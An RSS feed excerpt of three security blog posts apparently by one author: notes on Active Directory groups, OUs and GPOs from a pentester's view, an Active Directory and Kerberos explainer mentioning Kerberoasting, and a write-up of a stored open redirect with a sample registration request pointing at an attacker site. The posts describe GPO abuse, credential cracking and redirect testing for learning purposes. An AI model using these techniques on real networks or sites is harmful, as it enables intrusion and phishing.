Enterprise Admins, Schema Admins, Backup Operators, Account Operators, and Server Operators. Each of these carries significant privileges.</p><p>Nested group membership: this is where misconfigurations hide. User A is in Group B. Group B is in Group C. Group C has write permissions on an OU. User A effectively has those permissions, but a lazy admin reviewing Group C’s access wouldn’t notice. BloodHound excels at unrolling these nested memberships.</p><p>Over-permissioned groups: groups that were given Domain Admin or local admin rights “temporarily” and never had those rights removed. Extremely common in environments that have grown organically over years.</p><p>Groups with meaningful names and broad membership: ”All Staff”, “VPN Users”, “Remote Access”, these often have permissions attached that nobody has reviewed recently.</p><h3>Organizational Units (OUs)</h3><p>OUs are containers. Admins use them to organize objects into logical structures: by department, location, function, or whatever makes sense for their organization.</p><h4>Why OUs matter to pentesters</h4><p>OUs are primarily interesting for two reasons:</p><p>They reveal the org structure. The OU layout tells you how the company is organized, where the sensitive systems live, and how IT thinks about the environment. Finance OUs have finance systems. Admins OUs have admin accounts. You can prioritize targets before you’ve touched a single machine.</p><p>GPOs are linked to OUs. Group Policy Objects apply to whatever OU they’re linked to. If you can write to a GPO that’s linked to an OU containing all workstations, you can execute code on every workstation in that OU. And if you have write permissions on the OU itself, you may be able to link your own GPO to it.</p><p>Delegation on OUs: this is a big one. AD allows admins to delegate specific permissions on OUs to other users or groups. “Help Desk” accounts might have the ability to reset passwords for users in the “Standard Users” OU. That sounds fine until you realize that if you compromise a Help Desk account, you can reset any standard user’s password, authenticate as them, and access their resources. Always check what’s delegated on each OU.</p><h3>Group Policy Objects (GPOs)</h3><p>GPOs are arguably the most powerful objects in AD from an administrative perspective and therefore from an offensive one too.</p><p>A GPO is a collection of settings that gets applied to users and computers. When a machine boots or a user logs in, AD checks which GPOs apply to that object and enforces every setting in them.</p><p>GPOs can control:</p><p>- Password complexity requirements</p><p>- Account lockout policies</p><p>- Software installation</p><p>- Startup and logon scripts</p><p>- Windows Firewall rules</p><p>- Registry settings</p><p>- Mapped drives</p><p>- Scheduled tasks</p><p>- AppLocker rules</p><h4>GPO processing order</h4><p>GPOs are applied in a specific order: Local, Site, Domain, OU. Later GPOs can override earlier ones unless “Enforcement” or “Block Inheritance” flags are set.</p><h4>What pentesters look for with GPOs</h4><p>Write permissions on existing GPOs: if you can modify a GPO, you can push any setting to every object it applies to. Common abuses include adding a local admin account, deploying a malicious startup script, or creating a scheduled task that calls back to your C2. Tools like BloodHound and PowerView can identify who has write access to each GPO.</p><p>GPO scope: a GPO linked to the domain root applies to every object in the domain. One linked to a specific OU applies only within that OU. Always check the scope before exploiting.</p><p>Logon scripts in SYSVOL: GPOs that run logon scripts store those scripts in SYSVOL, a shared folder that every domain machine can read. Sometimes those scripts contain hardcoded credentials.</p><p>Overly permissive default GPOs: the “Default Domain Policy” and “Default Domain Controllers Policy” are often left in their default state or minimally modified. Weaknesses here affect the entire domain.</p><p>Every single step uses data that AD freely provides to any authenticated domain user. You’re not exploiting a vulnerability, you’re reading a roadmap that the system hands you.</p><p>That’s what makes AD pentesting so powerful. The information you need to escalate privileges is almost always already there. You just need to know where to look.</p><p>Happy hacking</p><p>#Active Directory Pentesting</p><p># Infosec</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d11cdafaf5a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Active Directory]]></title>
            <link>https://medium.com/@3xploit/what-is-active-directory-d0f980379340?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0f980379340</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 14:48:22 GMT</pubDate>
            <atom:updated>2026-04-13T13:14:41.098Z</atom:updated>
            <content:encoded><![CDATA[<p>Active Directory (AD) is a service that acts as the central nervous system for almost every Windows-based corporate environment . It handles authentication and authorization across an entire organization from one place.</p><h3><strong>What AD Actually Does</strong></h3><p>At its core, Active Directory is a database and a set of services that connect users to the network resources they need to do their jobs.</p><p>The entire system lives on a server called the Domain Controller (DC). The DC holds the Active Directory database, handles authentication requests, and enforces policies across every machine on the domain.</p><h3>The Architecture: Domains, Trees, and Forests</h3><p>AD organizes everything in a hierarchy.</p><h4>Domain</h4><p>The basic unit of AD. Think of it as a boundary of management and security. All the users, computers, and policies live in the domain. The DC for a domain has authority over everything inside it.</p><h4>Tree</h4><p>A collection of domains that share a contiguous namespace.</p><p>E.g corp.local, sales.corp.local, and engineering.corp.local form a tree. Parent domains have two-way trust with child domains by default which is extremely relevant for attackers.</p><h4>Forest</h4><p>The top of the hierarchy. A forest contains one or more trees. The first domain created in a forest is the forest root domain, and it holds the most privileged group in all of AD (the Enterprise Admins).</p><h4>Organizational Units (OUs)</h4><p>Think of these as folders inside a domain. Administrators group objects (users, computers) into OUs and apply Group Policies to them. The structure of OUs tells an attacker a lot about how the organization is managed.</p><h4>Kerberos</h4><p>AD uses Kerberos as its primary authentication protocol. Here’s the simplified flow:</p><p>You log in to your workstation. Your machine sends your credentials to the Key Distribution Center (KDC), which lives on the Domain Controller.</p><p>The KDC verifies your password and issues you a Ticket Granting Ticket (TGT) :</p><p>This is a time-limited token proving you’ve been authenticated.</p><p>When you want to access a resource, for example a file server, your machine presents the TGT to the KDC and requests a Service Ticket for that specific service.</p><p>The KDC issues the Service Ticket, your machine presents it to the file server, and you get access.</p><p>Your actual password does not travel across the network after the initial authentication at all.</p><p>Now here’s where it gets interesting for attackers. Every service that supports Kerberos authentication registers itself with AD using a Service Principal Name (SPN). File shares, web apps, SQL servers, Exchange, all of them have SPNs. And SPNs are queryable by any authenticated user in the domain.</p><p>That means the moment you have any valid domain account, even as a low-privileged account, you can ask the Active Directory environment for a list of every service in the environment, request encrypted Service Tickets, and attempt to crack the service account passwords.</p><p>That attack is called Kerberoasting, and it’s one of the most common paths to privilege escalation in AD environments.</p><h4>LDAP</h4><p>AD stores all its data in a database that’s accessible via LDAP (Lightweight Directory Access Protocol). Any authenticated user on the domain can query LDAP and it returns lots of information.</p><p>With read-only access to AD via LDAP, an attacker can enumerate:</p><p>1.) Every user account and their attributes (name, email, description, last logon time, whether the account is enabled, password last set, and more).</p><p>2.) Every computer object and its operating system version</p><p>3.) Every group and its members</p><p>4.) Every GPO and what it applies to</p><p>5.) Service accounts and their SPNs</p><p>6.) Users configured with delegation</p><p>7.) The entire OU structure of the organization</p><p>Tools like BloodHound ingest this LDAP data and map the relationships between objects, revealing attack paths to Domain Admin that chain through different steps .</p><h4>Group Policy</h4><p>Group Policy Objects (GPOs) allow administrators to enforce settings across all machines and users in a domain. Password policies, software installations, firewall rules, login scripts .</p><p>From an attacker’s perspective, they’re a goldmine, because if you can modify a GPO, you can push malicious configurations to every machine it applies to.</p><p>Imagine being able to add yourself to the local Administrators group on every workstation in the company. Or deploying a scheduled task that runs your reverse shell. That’s what GPO abuse looks like.</p><p>And misconfigured write permissions on GPOs are more common than you’d think.</p><p>Every misconfiguration, every over-privileged account, every forgotten service account is a potential path from low-level access to complete domain compromise. Understanding how it’s built is the first step to understanding how it falls.</p><p>#Happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0f980379340" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Stored Open Redirect That Hijacks Verification Emails]]></title>
            <link>https://medium.com/@3xploit/a-stored-open-redirect-that-hijacks-verification-emails-1282e352c7d7?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/1282e352c7d7</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 13:16:48 GMT</pubDate>
            <atom:updated>2026-03-19T13:16:48.497Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qT5QPj1OPxWFVG0L.jpg" /></figure><p>I’ve seen plenty of open redirects. Most of them are reflected. Someone crafts a link, sends it to a victim, and hopes they click it without looking too closely at the URL. Boring, low impact, easy to dismiss, but this one was different. The malicious URL gets stored in the database during registration and then delivered to the victim later inside a real, legitimate email the server sends itself. No sketchy link from a stranger. Just a verification email they were already expecting.</p><p>Let me break it down.</p><h3>Quick Background: What is an Open Redirect?</h3><p>An open redirect happens when an application accepts a URL from user input and redirects the browser there without checking if the destination is safe or belongs to the same domain.</p><p>An example is a login page with a ?next= parameter. After you authenticate, it sends you wherever that parameter points. If the value isn&#39;t validated, an attacker sets it to their own site and the server happily redirects you there. The dangerous part is that the link looks legitimate because it&#39;s on the real domain, it has a real path, and the sketchy destination is hidden in a parameter most people don&#39;t read.</p><blockquote><em>The attacker doesn’t need to get you to visit their site. They get a trusted site to take you there for them.</em></blockquote><h4>What I found</h4><p>The application’s registration flow accepts a redirect_page parameter in the signup request. The intent is that after verifying your email, the app should land you in the `http://target.com/dashboard`. But the value was stored without any validation.</p><p>I set redirect_page to an external URL I controlled and completed the registration. A verification email arrived shortly after, looking completely like a normal verification email url.</p><p>When I clicked the link, the server validated the token, confirmed the account, and immediately redirected me to my external url.</p><h4>Attack Flow</h4><ul><li>Registration request captured with burpsuite. Change the redirect_url parameter value to attacker site.</li></ul><pre>POST /register HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br><br>{<br>   &quot;user_email&quot;:&quot;test@email.com&quot;,<br>   &quot;user_password&quot;:&quot;Password123#&quot;,<br>   &quot;nonce&quot;:&quot;a1b2c3d4&quot;,<br>   &quot;redirect_url&quot;:&quot;https://attacker-site.com&quot;<br>}</pre><ul><li>Email that arrives in the user’s mailbox</li></ul><pre>https://target.com/verify?token=jaksjfkh4r4iru8o</pre><ul><li>When the user clicks the link, they are redirected to `https://attacker-site.com`.</li></ul><h3>The Root Cause</h3><p>The redirect_page parameter was never validated at input. A simple check if the url belong to the domain at registration time would have killed the attack right there.</p><blockquote>Note for security researchers:</blockquote><blockquote>When you’re testing registration flows, don’t just submit the form and move on. Open Burp Suite, intercept the request, and read every parameter being sent, especially ones that look like destinations, paths, or callback URLs. redirect, next, return_to, redirect_page, callbackthese are all worth trying with an external URL. A lot of developers add post-action redirect logic as an afterthought and never think to validate it.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1282e352c7d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>